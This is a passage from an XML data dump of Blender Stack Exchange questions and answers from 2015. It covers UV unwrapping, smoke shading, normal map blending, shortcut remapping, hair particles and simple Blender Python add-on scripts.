href=&quot;https://drive.google.com/file/d/0Bzk2xqIT9zmQTnJkWWw0cWtRVm8/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;google drive.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18030" LastEditorUserId="599" LastEditDate="2015-09-12T02:27:44.210" LastActivityDate="2015-09-12T02:27:44.210" Title="Why is my smoke simulation not updating?" Tags="&lt;animation&gt;&lt;physics&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38354" PostTypeId="1" AcceptedAnswerId="38357" CreationDate="2015-09-10T23:08:57.850" Score="2" ViewCount="712" Body="&lt;p&gt;I have made the following model by manipulating the standard cube. When I finished, I used Ctrl-A in Object Mode (like &lt;a href=&quot;https://blender.stackexchange.com/questions/14524/non-uniform-scaling-during-uv-unwrap-what-is-this&quot;&gt;this&lt;/a&gt; question suggests) to normalize the overall scaling to 1. However, after marking my seams and unwrapping, I get the UV pattern as shown below. I used the plain &quot;Unwrap&quot; command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the seams and edges appear correct, but I'd like all the edges to be orthogonal to each other and not &quot;skewed&quot; on the grid. What can I do to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/0RCsRHa.png&quot; alt=&quot;here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/xOg5x0i.png&quot; alt=&quot;this&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="18033" LastActivityDate="2015-10-11T01:35:14.713" Title="Irregular UV unwrap from rectangular object" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38355" PostTypeId="2" ParentId="38311" CreationDate="2015-09-11T00:24:05.743" Score="7" Body="&lt;p&gt;In Cycles (I don't know about BI) you can use the &lt;a href=&quot;https://blender.stackexchange.com/a/13685/5705&quot;&gt;standard smoke node setup&lt;/a&gt; (without the fire nodes) and replace the &lt;code&gt;color&lt;/code&gt; &lt;em&gt;attribute&lt;/em&gt; node with an &lt;em&gt;image texture&lt;/em&gt; node using &lt;a href=&quot;https://blender.stackexchange.com/a/23174/5705&quot;&gt;&lt;em&gt;window&lt;/em&gt; texture coordinates&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the render:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GxEGj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For comparison, here is it using the actual smoke color (before replacing the color attribute node):&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qpGwW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here are the nodes:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/iFAuS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iFAuS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;Click to enlarge&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your image has an alpha channel just multiply the &lt;code&gt;density&lt;/code&gt; attribute node by the alpha channel before giving it to the density of the shaders.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-09-11T02:13:30.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38357" PostTypeId="2" ParentId="38354" CreationDate="2015-09-11T00:50:42.483" Score="1" Body="&lt;p&gt;To fix this, I used the Conformal unwrap method. Thanks @Denis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MS9an.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="18033" LastActivityDate="2015-09-11T00:50:42.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38358" PostTypeId="2" ParentId="38298" CreationDate="2015-09-11T01:36:27.570" Score="24" Body="&lt;p&gt;I adapted the &lt;em&gt;UDN Blending&lt;/em&gt; method from &lt;a href=&quot;http://blog.selfshadow.com/publications/blending-in-detail/&quot;&gt;this article&lt;/a&gt;, for cycles nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simple formula is:&lt;br&gt;&#xA;&quot;Normal map 1&quot; (nm1) the large distortion, &quot;Normal map 2&quot; (nm2) the small details.&lt;br&gt;&#xA;&lt;code&gt;nm1.x + nm2.x = X&lt;/code&gt;, &lt;code&gt;nm1.y + nm2.y = Y&lt;/code&gt;, &lt;code&gt;nm1.z = Z&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tzuBe.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tzuBe.png&quot; alt=&quot;cycles material nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Split the normal maps in the their three separate channels with a &lt;em&gt;Separate XYZ&lt;/em&gt; node.&lt;/li&gt;&#xA;&lt;li&gt;Add the X channel of both normal maps together with a &lt;em&gt;Math&lt;/em&gt; node set to &lt;em&gt;Add&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add the Y channel of both normal maps together with a &lt;em&gt;Math&lt;/em&gt; node set to &lt;em&gt;Add&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make the new vector with a &lt;em&gt;Combine XYZ&lt;/em&gt; node. Plug the component X into the X input of the &lt;em&gt;Combine XYZ&lt;/em&gt; node, and the component Y into the Y. Take the Z from the first normal map.&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;em&gt;Vector Math&lt;/em&gt; node set to &lt;em&gt;Normalize&lt;/em&gt;. Take the output from the &lt;em&gt;Combine XYZ&lt;/em&gt; node and plug it into the first slot of the &lt;em&gt;Normalize&lt;/em&gt; node.&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;em&gt;Normal Map&lt;/em&gt; node. Take the output from the &lt;em&gt;Normalize&lt;/em&gt; node and plug it into the &lt;em&gt;color&lt;/em&gt; slot of the &lt;em&gt;Normal Map&lt;/em&gt; node.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another option is to use &lt;em&gt;Multiply&lt;/em&gt; instead of &lt;em&gt;Add&lt;/em&gt; for combining the X and Y channels. The bonus with this is, I have found no need for the &lt;em&gt;Normalize&lt;/em&gt; node. The resulting normal map will look different from the method above.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-09-11T01:43:35.227" LastActivityDate="2015-09-11T01:43:35.227" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38359" PostTypeId="1" CreationDate="2015-09-11T01:37:06.237" Score="3" ViewCount="79" Body="&lt;p&gt;I come from a very different CAD background with years of muscle memory with other tools that I would like to use with Blender.&lt;br&gt;&#xA;Right now, I would like to associate the key &lt;kbd&gt;U&lt;/kbd&gt; with &quot;undo.&quot;  However, if I assign it in User Preferences, and re-assign &quot;Make Single User&quot; (in &quot;NLA Editor&quot; group) to a different combination, I still get the &quot;Make Single User&quot; menu when pressing &lt;kbd&gt;U&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to re-map &quot;undo&quot; to &lt;kbd&gt;U&lt;/kbd&gt;?  I've successfully mapped &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; to zoom-out and zoom-in, respectively, for what it's worth.  (note: the &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; to zoom-in, which I've grown accustomed to, is the particular qualifier why I'd like another key to &quot;undo&quot;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using Blender 2.75a under Arch Linux.&lt;/p&gt;&#xA;" OwnerUserId="18034" LastEditorUserId="2217" LastEditDate="2015-09-11T01:46:10.337" LastActivityDate="2015-09-11T06:31:48.903" Title="Can I assign &quot;U&quot; for &quot;undo&quot;?" Tags="&lt;3d-view&gt;&lt;customization&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38360" PostTypeId="2" ParentId="38345" CreationDate="2015-09-11T01:51:35.347" Score="5" Body="&lt;p&gt;Viewport speed: The final displayed mesh is the same regardless of if you apply the modifier or not. Applying it will cost you the ability to have different settings for viewport and render for modifiers that do that, such as on the subsurf modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scene update (opening file, changing frames, etc): Applying bakes in the modifier, so it doesn't need to be calculated on updates anymore. So that's faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render: modifiers &quot;apply&quot; on the fly when exporting meshes for render, so no  difference. Same output mesh is rendered either way. The modifiers have to all be updated during this process though, so applying will speed render startup a bit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So generally, not much performance reason to apply a modifier. The two main situations where you'd apply it are when you need to do something on the modifier output directly (like applying mirror modifier before rigging), or when a modifier is taking a long time to calculate and losing non-destructive editing of the modifier is preferable to waiting that out.&lt;/p&gt;&#xA;" OwnerUserId="8081" LastActivityDate="2015-09-11T01:51:35.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38361" PostTypeId="2" ParentId="38299" CreationDate="2015-09-11T01:57:15.160" Score="3" Body="&lt;h2&gt;Particles with Interpolated Children&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Probably in some parts of your mesh, the particles (hair in this case) are not dense enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interpolate option creates children based on the &quot;main&quot; particles properties (location, orientation...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZQpw0.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZQpw0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if these particles (main) are not enough, increasing the number of children would not help in filling the gaps. Notice how the spiral patter is similar to the one in your screenshots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image was made by adding a Particle system (Hair type) and tweaking the following values:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Emission Number&lt;/strong&gt; = 100&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Interpolated Display&lt;/strong&gt; = 280&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By disabling the Interplated children option, you can see the particles that actually are generated. These are the only one that will be truly affected by simulations, hair editing...the children will simply follow their properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xk30B.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xk30B.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You must ensure that the &quot;main&quot; particles are well distributed upon the mesh, and only at that point you can increase the overall density with childrens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FeUMA.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FeUMA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image was made by adding a Particle system (Hair type) and tweaking the following values:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Emission Number&lt;/strong&gt; = 4000&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Interpolated Display&lt;/strong&gt; = 7&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Notice how the thinner part of the mesh is full of &quot;guiding&quot; particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Hmcy4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hmcy4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2016-02-08T13:57:07.763" LastActivityDate="2016-02-08T13:57:07.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38362" PostTypeId="1" AcceptedAnswerId="38364" CreationDate="2015-09-11T02:28:21.553" Score="2" ViewCount="442" Body="&lt;p&gt;When I'm rendering a scene in GPU mode, blender becomes very CPU &amp;amp; GPU intensive. This is most noticeable in cycles, luxrender tends to be less CPU intensive (in openCL mode). I would like a list of tasks the CPU performs when i'm in GPU mode.&lt;/p&gt;&#xA;" OwnerUserId="12782" LastEditorUserId="16665" LastEditDate="2015-09-11T02:48:58.960" LastActivityDate="2015-09-11T02:57:46.773" Title="Why does blender need my CPU when I'm GPU rendering?" Tags="&lt;rendering&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38364" PostTypeId="2" ParentId="38362" CreationDate="2015-09-11T02:57:46.773" Score="2" Body="&lt;p&gt;It has to calculate and bake the frames when you are rendering... Try to think of the GPU doing the huge graphic tracing, and the CPU baking the elements in the scene, like keyframes for example... The CPU also is the one who adds the frames to the final file... Hope this helped! :)&lt;/p&gt;&#xA;" OwnerUserId="16802" LastActivityDate="2015-09-11T02:57:46.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38367" PostTypeId="2" ParentId="38359" CreationDate="2015-09-11T06:31:48.903" Score="2" Body="&lt;p&gt;This is because the shortcut you re-assigned only applies to the &lt;em&gt;&lt;a href=&quot;http://blender.org/manual/animation/editors/nla.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Non-Linear Animation Editor&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To &lt;a href=&quot;https://blender.stackexchange.com/q/3132/599&quot;&gt;find all conflicting shortcuts&lt;/a&gt;, search based on key binding instead:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qLJie.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qLJie.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are &lt;kbd&gt;U&lt;/kbd&gt; shortcuts in the 3D view (both in &lt;a href=&quot;http://blender.org/manual/modeling/objects/introduction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;object mode&lt;/a&gt; and &lt;a href=&quot;http://blender.org/manual/modeling/meshes/introduction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;edit mode&lt;/a&gt;) which call the &lt;code&gt;call_menu()&lt;/code&gt; operator. This is different from the NLA editor, which just runs &lt;code&gt;nla.make_single_user()&lt;/code&gt; directly when called since it has no options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disable or re-assign the conflicting shortcuts, then it works as expected.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-09-11T06:31:48.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38368" PostTypeId="1" CreationDate="2015-09-11T08:03:52.267" Score="1" ViewCount="153" Body="&lt;p&gt;According to this simple external renderer, result can be generated in the memory instead of loading from an external file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    # In this example, we fill the full renders with a flat blue color.&#xA;    def render_scene(self, scene):&#xA;    pixel_count = self.size_x * self.size_y&#xA;&#xA;    # The framebuffer is defined as a list of pixels, each pixel&#xA;    # itself being a list of R,G,B,A values&#xA;    blue_rect = [[0.0, 0.0, 1.0, 1.0]] * pixel_count&#xA;&#xA;    # Here we write the pixel values to the RenderResult&#xA;    result = self.begin_result(0, 0, self.size_x, self.size_y)&#xA;    layer = result.layers[0]&#xA;    layer.rect = blue_rect&#xA;    self.end_result(result)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got an missing 'rect' attribute error from Blender 2.75.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layer.rect = blue_rect&#xA;AttributeError: 'RenderLayer' object has no attribute 'rect'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 'rect' attribute was still there in 2.67.1 version blender, is it deprecated in the latest version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I update partial intermediate result in Blender? The only solution that I can find is to update the full image with &quot;load_from_file&quot; function which takes a filename parameter and loads the data from file system.&lt;/p&gt;&#xA;" OwnerUserId="16754" LastActivityDate="2015-10-12T11:43:32.863" Title="Missing 'rect' attribute in RenderLayer" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38369" PostTypeId="2" ParentId="38200" CreationDate="2015-09-11T08:33:18.800" Score="3" Body="&lt;p&gt;This is a known bug in 2.73 and 2.73a:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.blender.org/T43961&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/T43961&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.74, 2.75 and 2.76 should work. adding the missing _ctypes python module (_ctypes.pyd) from these versions to 2.73 should also work.&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2015-09-11T08:33:18.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38371" PostTypeId="1" CreationDate="2015-09-11T10:21:47.070" Score="2" ViewCount="626" Body="&lt;p&gt;Simply put:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to be able to manipulate the shape of more than one side by side object at a time. Like a rubicks cube reshape all the cubes with one manipulator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further discribed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I take two objects &lt;strong&gt;side by side&lt;/strong&gt; and reshape them together (one or both), as they reshape together their borders are kept side by side.&#xA;So the end result is still two objects side by side but now they are both or one have a different shape.&lt;/p&gt;&#xA;" OwnerUserId="18044" LastEditorUserId="2952" LastEditDate="2015-09-12T05:29:30.580" LastActivityDate="2015-09-12T05:29:30.580" Title="How to deform multiple mesh objects with one manipulator?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;rigging&gt;&lt;armature&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38373" PostTypeId="1" CreationDate="2015-09-11T12:52:12.053" Score="5" ViewCount="8080" Body="&lt;p&gt;Very basic question here, I am afraid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have hundreds of shattered pieces of a mesh and I am trying to animate their visibility over the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I animate the visibility and render visibility parameter for one piece, then copy/transfer to all the others?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Jb9ov.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jb9ov.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16647" LastEditorUserId="20" LastEditDate="2015-09-11T15:55:46.493" LastActivityDate="2015-11-13T15:53:15.570" Title="How to copy animation attributes to multiple objects?" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38374" PostTypeId="2" ParentId="38341" CreationDate="2015-09-11T13:24:37.033" Score="0" Body="&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&#xA;   I am trying to pre-determine the Thickness property of the Solidify modifier required to completely fill the gap between two concentric, spherical shells. I know the diameter of both shells ahead of time, the shells will always be centered at (0,0,0). I would like to keep Offset = -1.0.&#xA;   Using a number of examples, I have tried to back out a mathematical relationship / equation, based on the difference in the diameter of the shells.  But this falls apart when the shells diameters change, but the difference between the shell diameters remains the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Example:&lt;/em&gt;&#xA;    If i have a hemisphere of diameter1 = 8m, and a smaller, concentric shell with diameter1 = 2m (difference = 6m), then a Thickness value of 0.7485 will fill the gap between these two hemispherical shells.&#xA;   However, if I use 2 shells that are diam1 = 100m, and diam2 = 94m (difference = 6m), then a Thickness value of 0.05975 fills in the gap between the concentric shells.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I pre-determine what this thickness needs to be for any case of 2 concentric shells?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Response:&lt;/strong&gt;&#xA;Not my solution, but from one of the Blender experts: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;I'm quite sure the thickness parameter gives a direct offset from the&#xA;surface, i.e. a perfect sphere with radius R and solidify thickness X&#xA;creates a sphere with radius (R+X). This matches the first observation,&#xA;where dR=3 =&gt; thickness = 1.5 / 2 = 0.75 ~= 0.7485. The reason you don't&#xA;see these values in the second case is probably because the object is&#xA;scaled by 100/8 = 12.5 =&gt; thickness = 0.75 / 12.5 = 0.06&quot;&lt;/p&gt;&#xA;" OwnerUserId="16866" LastActivityDate="2015-09-11T13:24:37.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38375" PostTypeId="1" AcceptedAnswerId="38429" CreationDate="2015-09-11T13:49:25.363" Score="2" ViewCount="141" Body="&lt;p&gt;So I have a simple UI like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.props import *&#xA;from bpy.app.handlers import persistent&#xA;&#xA;bpy.types.Scene.intNumber = IntProperty(name=&quot;intNumber&quot;, description=&quot;Enter int number between 1 and 100&quot;, default=1, min=1, max=100)&#xA;bpy.types.Scene.previousNumber = IntProperty(name=&quot;prevNumber&quot;, description=&quot;the previous value&quot;, default=1, min=1, max=100)&#xA;&#xA;class HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;object&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        obj = context.object&#xA;&#xA;        row = layout.row()&#xA;        row.prop(context.scene, &quot;intNumber&quot;)&#xA;&#xA;@persistent&#xA;def scene_update(scene):&#xA;    if bpy.context.scene.intNumber != bpy.types.Scene.previousNumber :&#xA;        print(bpy.context.scene.intNumber)&#xA;        bpy.types.Scene.previousNumber = bpy.context.scene.intNumber &#xA;&#xA;def register():&#xA;    bpy.utils.register_class(HelloWorldPanel)&#xA;    bpy.app.handlers.scene_update_post.append(scene_update)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(HelloWorldPanel)&#xA;    bpy.app.handlers.scene_update_post.remove(scene_update)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This creates a UI element, a number dial to be specific, on the object panel.&#xA;When I'm using the UI element, so clicking and dragging, it will print the number to the console. But the problem is it also prints numbers &lt;strong&gt;while&lt;/strong&gt; I'm dialing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output of this when dragging the UI element from 1 to 40:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1&#xA;6&#xA;14&#xA;17&#xA;20&#xA;25&#xA;29&#xA;31&#xA;34&#xA;36&#xA;40&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to get the numbers like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1&#xA;40&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I only want to get the number where the user &lt;strong&gt;stops&lt;/strong&gt; dragging / dialing, or releases the mouse button.&#xA;Of course it should work in both directions (dragging up / down)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;Although CoDEmanX approaches are flawless and working, it's still not exactly what I was searching for. I realized that this &quot;stop value&quot; is actually there, in the console there appears a &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ED_undo_push: intNumber: 40&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;once I let go of the UI element. Could another solution lie in getting hold of that value?&lt;/p&gt;&#xA;" OwnerUserId="8235" LastEditorUserId="8235" LastEditDate="2015-09-14T08:35:24.957" LastActivityDate="2015-09-14T08:35:24.957" Title="Python: Get the &quot;stop&quot; value of an UI element that's currently used" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38376" PostTypeId="2" ParentId="38273" CreationDate="2015-09-11T14:27:04.173" Score="3" Body="&lt;p&gt;In exporting options, you may see that in many cases there is &lt;em&gt;Apply modifiers&lt;/em&gt; option, and often it is ticked by default:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HhWnQ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HhWnQ.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;sub&gt;Example is for .ply, the same behaviour is in case of exporting to .fbx, .obj, .x3d. &lt;br/&gt;Note: default options of Blender itself also may be changed. &lt;/sub&gt;&lt;/p&gt;&#xA;&lt;p&gt;In this case your exported objects/s will be actually mirrored without your action.&#xA;With that option unticked you will notice difference because if not applied, modifiers change how &lt;a href=&quot;https://www.blender.org/manual/fr/modeling/modifiers/introduction.html#modifiers&quot; rel=&quot;nofollow noreferrer&quot;&gt;the object is displayed and rendered, but not actual geometry&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-02-08T22:37:27.200" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38377" PostTypeId="1" CreationDate="2015-09-11T14:27:51.110" Score="4" ViewCount="1154" Body="&lt;p&gt;I'm trying to use the Rigid Body engine to simulating a rotating body. I want to change the shape of the object, e.g. shortening the length of a rotating stick, and see the change in angular velocity.&lt;br&gt;&#xA;I initiate a simulation with a rotation using the Animation check box and keyframes. When the simulation runs I use shapekeys to shorten the box, but this results in no change in the angular velocity. Is there a way to make this work for instance by linking objects together and moving them relatively to each other to change the overall shape?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately I want to be able to simulate (crude approximations to) things like ice skaters' pirouettes and somersaults of gymnasts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qM1VY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qM1VY.png&quot; alt=&quot;The rotating stick&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1103" LastEditorUserId="1103" LastEditDate="2015-09-11T14:38:44.383" LastActivityDate="2015-10-12T10:09:24.293" Title="Changing moment of inertia in rigid body simulation" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
